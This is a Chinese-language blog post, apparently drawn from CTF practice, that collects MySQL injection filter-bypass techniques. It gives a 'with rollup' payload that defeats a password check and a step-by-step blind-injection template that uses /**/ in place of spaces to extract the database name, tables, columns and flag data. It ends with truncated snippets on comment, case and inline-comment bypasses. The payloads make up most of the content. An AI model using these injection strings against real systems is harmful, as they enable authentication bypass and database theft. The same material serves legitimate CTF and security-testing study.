Mysql注入的常用方法和繞過

2022-06-21 22:06:15 字數 1438 閱讀 7661

參考:ctf sql注入

這裡再提一下過濾了select|from|where|join|sleep|and|\s|union|,後的with rollup繞過

with rollup是對group by的結果進行進一步的彙總然後顯示,在group by 列名 with rollup 中,倘若按列名分組後,列的屬性值是不相同的,會生成一條分組條件的列為null的一條新的資料。而如果查詢結果是唯一的,一會生成一條分組條件所在列為null的資料。

我們就是要通過with rollup使sql語句查詢結果為null,然後不輸入password使password為null就可以使password==password==row[『password』]

payload = 'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/limit/**/1/**/offset/**/1#with rollup進行繞過

慣用思路(這裡的例子是之前做的一道mysql盲注題,題目過濾了很多符號,如:單引號、空格和逗號):

1、首先通過database()函式得到庫名,或者去information_schema.schemata表查詢schema_name

"0/**/or/**/ascii(substring(database()/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

2、然後去information_schema.tables表利用table_schema查詢table_name

"0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

3、接著去information_schema.columns表利用table_name查詢column_name

"0/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

4、最後select column_name from table_name 得到flag

"0/**/or/**/ascii(substr((select/**/*/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

mysql 注釋 繞過 sql注入繞過方法

一 注釋符號繞過 在sql中常用的注釋符號有 二 大小寫繞過 當web正則過濾的時候對大小寫不敏感的情況下使用,一般很少會有這種漏洞 比如當過濾了select的時候我們可以採用select來查詢 三 內聯注釋繞過 把要使用的查詢語句放在 中,這樣在一般的資料庫是不會執行的,但是在mysql中內聯注釋...

mysql注入繞過空格過濾的方法

sql注入時,空格的使用是非常普遍的。比如,我們使用union來取得目標資料 and 0 union select null,null,null 上面的語句,在and兩側 union兩側 select的兩側,都需要空格。1.注釋繞過空格 這是最基本的方法,在一些自動化sql注射工具中,使用也十分普遍...

mysql注入繞過空格過濾的方法

sql注入時,空格的使用是非常普遍的。比如,我們使用union來取得目標資料 and 0 union select null,null,null 上面的語句,在and兩側 union兩側 select的兩側,都需要空格。1.注釋繞過空格 這是最基本的方法,在一些自動化sql注射工具中,使用也十分普遍...